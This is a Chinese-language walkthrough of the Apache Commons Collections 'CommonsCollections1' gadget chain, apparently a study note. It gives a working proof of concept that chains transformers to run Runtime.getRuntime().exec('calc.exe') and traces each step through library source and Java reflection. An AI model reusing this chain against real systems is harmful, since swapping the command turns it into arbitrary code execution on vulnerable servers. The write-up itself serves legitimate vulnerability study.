CommonCollections1

CommonCollections1

poc展示

这是一段POC，运行后会弹出一个计算器。

import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.util.HashMap;
import java.util.Map;public class test {public static void main(String[] args) throws Exception {//此处构建了一个transformers的数组，在其中构建了任意函数执行的核心代码Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),//new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {Class.forName("java.lang.Runtime"), new Object[0] }),new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})};//将transformers数组存入ChaniedTransformer这个继承类Transformer transformerChain = new ChainedTransformer(transformers);//创建Map并绑定transformerChinaMap innerMap = new HashMap();innerMap.put("value", "value");//给予map数据转化链Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();//outerMap后一串东西，其实就是获取这个map的第一个键值对（value,value）；然后转化成Map.Entry形式，这是map的键值对数据格式//触发漏洞onlyElement.setValue("foobar");}
}

调用链分析

先debug一下看看调用链，整个过程从onlyElement.setValue("foobar")​开始，每段代码只取相关的片段。

源码的注释需要下载CommonsCollections源码查看，debug时是没有的。

AbstractInputCheckedMapDecorator

// org. apache. commons. collections. map. AbstractInputCheckedMapDecoratorprotected abstract Object checkSetValue(Object var1);//3/*** Implementation of a map entry that checks additions via setValue.*/static class MapEntry extends AbstractMapEntryDecorator {private final AbstractInputCheckedMapDecorator parent;/** The parent map */protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {super(entry);this.parent = parent;}public Object setValue(Object value) {//1value = this.parent.checkSetValue(value);//2return this.entry.setValue(value);}}

如代码注释里的顺序所示，程序先到AbstractInputCheckedMapDecorator的子类MapEntry，在2处调用3处的checkSetValue，但是这里的checkSetValue是抽象函数，程序运行时会根据实例调用对应的实现。

checkSetValue对应的实现有两个如下：

​​

根据poc的代码，这里会执行TransformMap里定义的checkSetValue。

TransformedMap

// org. apache. commons. collections. map. TransformedMap extends AbstractInputCheckedMapDecorator// protected final Transformer keyTransformer;protected final Transformer valueTransformer;/*** Factory method to create a transforming map.* <p>* If there are any elements already in the map being decorated, they* are NOT transformed.* Constrast this with {@link #decorateTransform}.* * @param map  the map to decorate, must not be null* @param keyTransformer  the transformer to use for key conversion, null means no transformation* @param valueTransformer  the transformer to use for value conversion, null means no transformation* @throws IllegalArgumentException if map is null*/public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {return new TransformedMap(map, keyTransformer, valueTransformer);}/*** Constructor that wraps (not copies).*/protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {super(map);this.keyTransformer = keyTransformer;this.valueTransformer = valueTransformer;}/*** Override to transform the value when using <code>setValue</code>.* * @param value  the value to transform* @return the transformed value* @since Commons Collections 3.1*/protected Object checkSetValue(Object value) {//1return this.valueTransformer.transform(value);//2}

该类是对上文AbstractInputCheckedMapDecorator的继承，实现了checkSetValue。

该类还与poc中Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain)​有关。

poc中构造的transformers变量先到transformerChain再到outerMap，outerMap是TransformedMap类型的一个实例。

2处的transform是接口Transformer中定义的类，程序运行时会根据实例调用对应的实现。

transform对应的实现有21个如下：

​​

根据poc中的代码，这里会运行ChainedTransformer类实现的transform。

ChainedTransformer

// org. apache. commons. collections. functors. ChainedTransformer implements Transformerprivate final Transformer[] iTransformers;/*** Transforms the input to result via each decorated transformer* * @param object  the input object passed to the first transformer* @return the transformed result*/public Object transform(Object object) {//1for(int i = 0; i < this.iTransformers.length; ++i) {object = this.iTransformers[i].transform(object);//2}return object;}

ChainedTransformer实现了Transformer接口，实现了transform。

2处的transform也是接口Transformer中定义的类，程序运行时会根据实例调用对应的实现。

transform对应的实现有21个如下：

​​

根据poc中transformers变量的定义，该循环会先调用一次ConstantTransformer中实现的transform，再调用三次InvokerTransformer中实现的transform。

ConstantTransformer

 // org. apache. commons. collections. functors. ConstantTransformer implements Transformerprivate final Object iConstant;public ConstantTransformer(Object constantToReturn) {this.iConstant = constantToReturn;}/*** Transforms the input by ignoring it and returning the stored constant instead.* * @param input  the input object which is ignored* @return the stored constant*/public Object transform(Object input) {//1return this.iConstant;//2}

根据poc中new ConstantTransformer(Runtime.class)​，2处返回的是java.lang.Runtime

InvokerTransformer

// org. apache. commons. collections. functors. InvokerTransformerprivate final String iMethodName;private final Class[] iParamTypes;private final Object[] iArgs;/*** Constructor that performs no validation.* Use <code>getInstance</code> if you want that.* * @param methodName  the method to call* @param paramTypes  the constructor parameter types, not cloned* @param args  the constructor arguments, not cloned*/public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {this.iMethodName = methodName;this.iParamTypes = paramTypes;this.iArgs = args;}/*** Transforms the input to result by invoking a method on the input.* * @param input  the input object to transform* @return the transformed result, null if null input*/public Object transform(Object input) {if (input == null) {return null;}try {Class cls = input.getClass();//1Method method = cls.getMethod(iMethodName, iParamTypes);//2return method.invoke(input, iArgs);//3} catch (NoSuchMethodException ex) {throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");} catch (IllegalAccessException ex) {throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");} catch (InvocationTargetException ex) {throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);}}

此处是整个poc的关键，关键代码是1、2、3处，这里和上面的java.lang.Runtime最终构成了Runtime.getRuntime().exec(“calc.exe”)。

下面重点分析此处代码。

poc分析

通过反射实现Runtime.getRuntime().exec(“calc.exe”)

需要了解Java反射以及forName、getMethod、invoke函数。

下面主要看下源码里对这三个函数的注释描述。

forName

    /*** Returns the Class object associated with the class or interface with the given string name.* @param      className   the fully qualified name of the desired class.* @return     the Class object for the class with the specified name.    */@CallerSensitivepublic static Class<?> forName(String className)throws ClassNotFoundException {Class<?> caller = Reflection.getCallerClass();return forName0(className, true, ClassLoader.getClassLoader(caller), caller);}

getMethod

    /*** Returns a Method object that reflects the specified public member method of the class or interface represented by this Class object.* The name parameter is a String specifying the simple name of the desired method.* The parameterTypes parameter is an array of Class objects that identify the method's formal parameter types, in declared order.* If parameterTypes is null, it is treated as if it were an empty array.* * Static methods declared in superinterfaces of the class or interface* represented by this Class object are not considered members of* the class or interface.** @param name the name of the method* @param parameterTypes the list of parameters* @return the Method object that matches the specified name and parameterTypes*/@CallerSensitivepublic Method getMethod(String name, Class<?>... parameterTypes)throws NoSuchMethodException, SecurityException {checkMemberAccess(Member.PUBLIC, Reflection.getCallerClass(), true);Method method = getMethod0(name, parameterTypes, true);if (method == null) {throw new NoSuchMethodException(getName() + "." + name + argumentTypesToString(parameterTypes));}return method;}

invoke

    /*** Invokes the underlying method represented by this Method* object, on the specified object with the specified parameters.** If the underlying method is static, then the specified obj argument is ignored. It may be null** @param obj  the object the underlying method is invoked from* @param args the arguments used for the method call* @return the result of dispatching the method represented by*/@CallerSensitivepublic Object invoke(Object obj, Object... args)throws IllegalAccessException, IllegalArgumentException,InvocationTargetException{if (!override) {if (!Reflection.quickCheckMemberAccess(clazz, modifiers)) {Class<?> caller = Reflection.getCallerClass();checkAccess(caller, clazz, obj, modifiers);}}MethodAccessor ma = methodAccessor;             // read volatileif (ma == null) {ma = acquireMethodAccessor();}return ma.invoke(obj, args);}

因此有

​[Runtime类].getMethod([方法exec]).invoke([Runtime对象],[参数calc.exe])​

由于Runtime的无参构造函数由private修饰，因为无法用newInstance构造，采用getRuntime方法构造。

因此有反射构造：

Class.forName("java.lang.Runtime").getMethod("exec", String.class).invoke(Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"))//此处在获取类,"calc.exe");

invoke源码中对该函数有一段特别重要的注释，单独拿出来说：

If the underlying method is static, then the specified obj argument is ignored. It may be null

因为getMethod是static方法，因此反射构造可以改写为：

Class.forName("java.lang.Runtime").getMethod("exec", String.class).invoke(Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null)//此处在获取类,"calc.exe");

依据反射构造ChainedTransformer

InvokerTransformer里有一段重要代码是构造的关键：

Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);

改造一下便是：

input.getClass().getMethod(iMethodName, iParamTypes).invoke(input, iArgs)

根据该结构改造反射构造：

Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null).getClass().getMethod("exec", String.class).invoke(Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null)//此处在获取类,"calc.exe");

即为了匹配样式，把Class.forName("java.lang.Runtime")​改为Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null).getClass()​。

根据ChainedTransformer的源码可知，上一层transform的结果会是这一层transform的参数，因此有：

step1

Object input = Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null)return input.getClass().getMethod("exec", String.class).invoke(input, "calc.exe")new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})

step2

Object input = Class.forName("java.lang.Runtime").getMethod("getRuntime")return input.getClass().getMethod("invoke", new Class[] {Object.class, Object[].class}).invoke(input, new Object[] {null, new Object[0]})new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]})

step3

Object input = Class.forName("java.lang.Runtime")return input.getClass().getMethod("getMethod", new Class[] {String.class, Class[].class}).invoke(input, new Object[] {"getRuntime", new Class[0]})new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),

step4

new ConstantTransformer(Runtime.class)

至此poc中的transformers构造完成

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